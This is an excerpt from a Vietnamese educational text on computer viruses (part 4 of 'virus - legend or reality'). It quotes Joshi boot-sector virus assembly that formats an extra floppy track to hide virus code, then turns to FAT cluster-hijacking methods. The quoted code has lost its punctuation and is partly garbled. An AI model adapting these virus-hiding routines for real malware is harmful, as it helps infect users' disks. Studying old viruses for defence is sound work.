Tham khảo tài liệu 'virus - huyền thoại hay thưc tế phần 4', công nghệ thông tin, đồ họa - thiết kế - flash phục vụ nhu cầu học tập, nghiên cứu và làm việc hiệu quả | Đoạn mã sau của Joshi virus không định dạng ổ đĩa trước khi format nên đã gây lỗi khi format đĩa loại . mov AX CS sub AX 20h mov ES AX mov DI 2 mov BH 0 mov BL ptr byte DI-1 add DI BX cmp DI 80h Định vị để ES DI trỏ vào bảng tham số jb Floppy mov ptr byte DI-3 0 offset nội dung mov ptr byte DI-2 2 -1 số đĩa vật lí mov ptr byte DI-1 80h -2 số sector jmp cont0 -3 số track Floppy mov ptr byte DI-2 1 Nếu đĩa mềm sẽ khởi tạo sector 1 mov ptr byte DI-1 0 Đĩa physic 0 mov ptr byte DI-3 28h Track 28h đĩa 360Kb mov AL 4 Verify sector 15 nếu gặp lỗi coi như không mov AL 1 có sector này ngược lại đĩa sẽ có 50h track mov CH 0 do đó đĩa là 1 2Mb mov CL 0Fh mov DH 0 call OldDisk je cont1 mov ptr byte DI-3 50h Điều chỉnh lại số track theo loại đĩa Contl Phần khởi tạo descriptor mov AL ptr byte DI-3 AL số track push CS pop ES mov DI offset SectorDescriptor mov CX 8 Tạo 8 sector một track Cont2 stosp Tạo giá trị inc DI inc DI inc DI Trỏ đến tham số kế trong bảng loop cont2 Phần format đĩa mov AX CS sub AX 20h mov ES AX mov DI 2 mov bh 0 40 mov BL ptr byte DI-1 add DI Bx push CX mov AH 5 Format mov AL 1 mov ch ptr byte DI-3 Track thêm mov CL 1 mov DH 0 Head 0 push CS pop ES mov BX offset SectorDescriptor call OldDisk OldDisk procnear pushf Hàm này gọi xa đến địa chỉ cũ call far int13 của ngắt 13 ret OldDisk endp SectorDescriptor db 28h 00h 01h 02h 28h 00h 02h 02h 28h 00h 03h 02h 28h 00h 04h 02h 28h 00h 05h 02h 28h 00h 06h 02h 28h 00h 07h 02h 28h 00h 08h 02h Trích Joshi virus Phương pháp này ít được các hacker -a chuông và dùng vì tính tương thích không cao giữa các loại ổ đĩa. Phương pháp chiếm cluster vẫn được nhiều người dùng dù đô phức tạp của nó cao hơn. Ớ đây tôi sẽ không đi sâu vào chi tiết cách phân tích và định vị cluster trên FAT vì sẽ mất quá nhiều thì giờ mà làm cho đôc giả thêm khó hiểu. Tuy nhiên vẫn nêu ra đây các khó khăn gặp phải khi sử dụng phương pháp này. Nên phân tích FAT chỉ cho đĩa mềm hay cho cả hai loại đĩa mềm lẫn đĩa cứng Thông .
